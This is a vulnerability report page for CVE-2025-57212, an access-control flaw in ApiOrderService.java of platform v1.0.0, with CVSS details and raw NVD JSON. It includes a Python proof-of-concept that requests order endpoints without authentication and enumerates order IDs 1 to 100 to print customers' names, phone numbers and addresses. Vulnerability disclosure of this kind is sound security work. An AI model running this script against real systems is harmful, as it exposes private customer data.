Security Vulnerability Report
中文
CVE-2025-57212 CVSS 7.5 HIGH

CVE-2025-57212

Published: 2025-12-04 16:16:22
Last Modified: 2025-12-05 22:15:51

Description

Incorrect access control in the component ApiOrderService.java of platform v1.0.0 allows attackers to access sensitive information via a crafted request.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:fuyang_lipengjun:platform:1.0.0:*:*:*:*:*:*:* - VULNERABLE
platform v1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57212 PoC - Unauthorized Access to Order Information # Target: platform v1.0.0 ApiOrderService.java # Vulnerability: Incorrect Access Control import requests import sys TARGET_URL = "http://target-server.com" def check_vulnerability(): """Check if the target is vulnerable to CVE-2025-57212""" # Try to access order details without authentication endpoints = [ "/api/order/detail?id=1", "/order/detail?id=1", "/api/order/list", "/order/list" ] print("[*] Testing CVE-2025-57212 - Incorrect Access Control in ApiOrderService") print(f"[*] Target: {TARGET_URL}") print("-" * 60) for endpoint in endpoints: url = TARGET_URL + endpoint try: response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() if data.get('code') == 200 or 'data' in data: print(f"[+] VULNERABLE: {endpoint}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Preview: {str(data)[:200]}") print() return True else: print(f"[-] Not Vulnerable: {endpoint} (Status: {response.status_code})") except Exception as e: print(f"[!] Error testing {endpoint}: {e}") return False def exploit_sequential_access(): """Exploit by sequentially accessing different order IDs""" print("\n[*] Attempting sequential order ID enumeration...") for order_id in range(1, 101): url = f"{TARGET_URL}/api/order/detail?id={order_id}" try: response = requests.get(url, timeout=5) if response.status_code == 200: data = response.json() if data.get('code') == 200: print(f"[+] Order ID {order_id}: Exposed Data") order_data = data.get('data', {}) print(f" User: {order_data.get('userName', 'N/A')}") print(f" Phone: {order_data.get('phone', 'N/A')}") print(f" Address: {order_data.get('address', 'N/A')}") except: pass if __name__ == "__main__": if check_vulnerability(): exploit_sequential_access() else: print("[-] Target does not appear to be vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57212", "sourceIdentifier": "[email protected]", "published": "2025-12-04T16:16:21.833", "lastModified": "2025-12-05T22:15:50.587", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the component ApiOrderService.java of platform v1.0.0 allows attackers to access sensitive information via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fuyang_lipengjun:platform:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8C82427C-E06A-41B9-9870-90D6C63CD6E1"}]}]}], "references": [{"url": "https://gist.github.com/xueye0629/85730f2317cfac2796fe5e23da3ae399", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/fuyang_lipengjun/platform", "source": "[email protected]", "tags": ["Product"]}]}}